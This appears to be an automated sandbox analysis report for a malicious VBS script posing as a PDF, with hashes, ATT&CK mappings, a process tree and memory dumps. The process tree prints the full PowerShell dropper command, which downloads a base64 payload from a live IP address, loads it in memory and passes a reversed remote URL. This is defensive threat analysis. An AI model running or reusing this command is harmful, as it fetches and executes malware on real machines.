9160c4962d732d3bedfbb9da1634c2393b6564fc5b1f8a1ce62de5a4ed172e8b

Analysis

max time kernel
119s
max time network
122s
platform
windows7_x64
resource
win7-20240708-en
resource tags

arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
submitted
24-12-2024 02:29

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

RWVQ04HDJSNYKSDF03BD_002_PDF.vbs
Size

129KB
MD5

1befa9ba6ebbb499691b9ba6e4dec4ae
SHA1

a39f41c971b09a4928c86717deab8cfb5242bc52
SHA256

f119b656cd5a8a68ac35e37d8da3b090300757afda4616f67ba13369f20e459c
SHA512

91f7550d39963faa56df8116fadd44977fffbc22a0d92e2c43f95116276fa154633785a7bf1f0c5d1e644211f880ea44a57968a85670f5481cacdef67a96a06b
SSDEEP

48:qTlqlqlqlqlqlqlqllgu3gMg1gxg9gfgdWegXgtogEPgNogZg2gkgE3Vo9jgLE3M:eAAAAAAAN/edkUDVo9teK7vtReq0yO

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://20.106.255.48/dll/lnk.pdf

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
4	1768	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1768	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
1768	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1768	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 1476 wrote to memory of 1768	1476	WScript.exe	30
PID 1476 wrote to memory of 1768	1476	WScript.exe	30
PID 1476 wrote to memory of 1768	1476	WScript.exe	30

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\RWVQ04HDJSNYKSDF03BD_002_PDF.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:1476
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" [Byte[]] $rOWg = [system.Convert]::FromBase64string((New-Object Net.WebClient).DownloadString('http://20.106.255.48/dll/lnk.pdf'));[System.AppDomain]::CurrentDomain.Load($rOWg).GetType('Fiber.Home').GetMethod('VAI').Invoke($null, [object[]] ('a2ffd275242b-2c58-8cf4-d0d6-6c8ebba9=nekot&aidem=tla?txt.40WHT/o/moc.topsppa.edfd7-pohe/b/0v/moc.sipaelgoog.egarotsesaberif//:sptth'))
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1768

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/1768-4-0x000007FEF617E000-0x000007FEF617F000-memory.dmp

Filesize
4KB

Download
memory/1768-5-0x000000001B7C0000-0x000000001BAA2000-memory.dmp

Filesize
2.9MB

Download
memory/1768-6-0x00000000027A0000-0x00000000027A8000-memory.dmp

Filesize
32KB

Download
memory/1768-7-0x000007FEF5EC0000-0x000007FEF685D000-memory.dmp

Filesize
9.6MB

Download
memory/1768-8-0x000007FEF5EC0000-0x000007FEF685D000-memory.dmp

Filesize
9.6MB

Download
memory/1768-9-0x000007FEF5EC0000-0x000007FEF685D000-memory.dmp

Filesize
9.6MB

Download
memory/1768-11-0x000007FEF5EC0000-0x000007FEF685D000-memory.dmp

Filesize
9.6MB

Download
memory/1768-10-0x000007FEF5EC0000-0x000007FEF685D000-memory.dmp

Filesize
9.6MB

Download
memory/1768-12-0x000007FEF5EC0000-0x000007FEF685D000-memory.dmp

Filesize
9.6MB

Download
memory/1768-13-0x000007FEF5EC0000-0x000007FEF685D000-memory.dmp

Filesize
9.6MB

Download